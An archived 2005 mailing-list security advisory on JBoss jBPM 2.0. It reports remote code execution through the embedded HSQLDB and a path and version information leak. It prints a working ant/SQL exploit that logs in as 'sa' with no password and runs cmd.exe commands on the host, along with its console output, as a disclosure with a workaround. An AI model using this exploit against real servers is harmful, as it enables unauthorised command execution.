lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <42C74235.8010500@gmx.org> Date: Sun Jul 3 14:45:12 2005 From: marc.schoenefeld at gmx.org (Marc Schoenefeld) Subject: JBoss jBPM 2.0: Remote code execution and classloader covert channel Security Advisory: jBPM 2.0 Date: 06/22/05 URL: http://www.illegalaccess.org/java/jbpm.php " JBoss jBPM is a flexible, extensible workflow management system." [jbpm.org] Problem 1: Remote code execution possible with jBPM . This allows an attacker to trigger an arbitrary executable on the jBPM/ JBoss host with the access control rights of the JBoss process. The example triggers REGEDIT.EXE. Due to a known vulnerability in the underlying JBoss 3.2.x and its embedded HSQLDB the jBPM system is vulnerable to remote code execution. This is a regression bug from the default installation of JBoss 3.2.1. It was fixed in JBoss 3.2.2. Visit http://www.illegalaccess.org/java/jboss.php for more info. The following ant file snippet demostrates the problem by calling regedit on the Jboss host machine running on JDK 1.4.2. For JDK 1.5.0 the names of the exploited classes have to be modified slightly. <target name="cmdinject"> <sql classpath="hsqldb.jar" driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:hsql://${host}:${port}" userid="sa" password="" print = "true" > CREATE ALIAS COMPDEBUG FOR "org.apache.xml.utils.synthetic.JavaUtils.setDebug" CREATE ALIAS SETPROP FOR "java.lang.System.setProperty"; CREATE ALIAS COMPILE FOR "org.apache.xml.utils.synthetic.JavaUtils.JDKcompile"; CALL COMPDEBUG(true); CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe'); CALL COMPILE('/c REGEDIT.EXE',''); </sql> </target> Result: REGEDIT.EXE pops up and the following info is printed on the console when running ant with the build.xml above. >>ant >>Buildfile: build.xml >> >> cmdinject: >> [sql] Executing commands >> [sql] 0 rows affected >> [sql] 0 rows affected >> >> [sql] null >> >> [sql] 0 rows affected >> >> [sql] null >> >> [sql] 0 rows affected >> >> [sql] true >> >> [sql] 0 rows affected >> [sql] 5 of 5 SQL statements executed successfully >> >> BUILD SUCCESSFUL >> Total time: 3 seconds Problem 2: JBoss class loader covert channel The default installation of JPBM reveals the path of the installation directory and allows fingerprinting of the server software version by an unauthenticated HTTP request. This is due to an information leak bug in the org.jboss.web.WebServer class of the bundled JBoss container 3.2.5. that creates a covert channel between the webserver and the class loader. When confronted with an expected HTTP request such as 'GET %.' the org.jboss.web.WebServer class reveals system platform information useful for an attacker. Due to the classloader architecture the RMI class download service on port 8083 also allows an attacker to fingerprint the version of the JBoss server. - Example 2a (Installation path disclosure): [same as previous bugtraq posting on JBoss published on Jun 18 2005 ] - Example 2b (Config file download): [same as previous bugtraq posting on JBoss published on Jun 18 2005 ] - Example 2c (Login config and database credential disclosure): [same as previous bugtraq posting on JBoss published on Jun 18 2005 ] Workaround: The jBPM team was contacted on 6/22/05 and will fix the configuration bugs in jBPM 2.0.1 It should be noted that every JBoss based system is vulnerable to the Problem 2 issue, when it uses the service on port 8083. Of course, every JBoss system that has the port 1701 open for HSQLDB is vulnerable to the Problem 2 issue.
Powered by blists - more mailing lists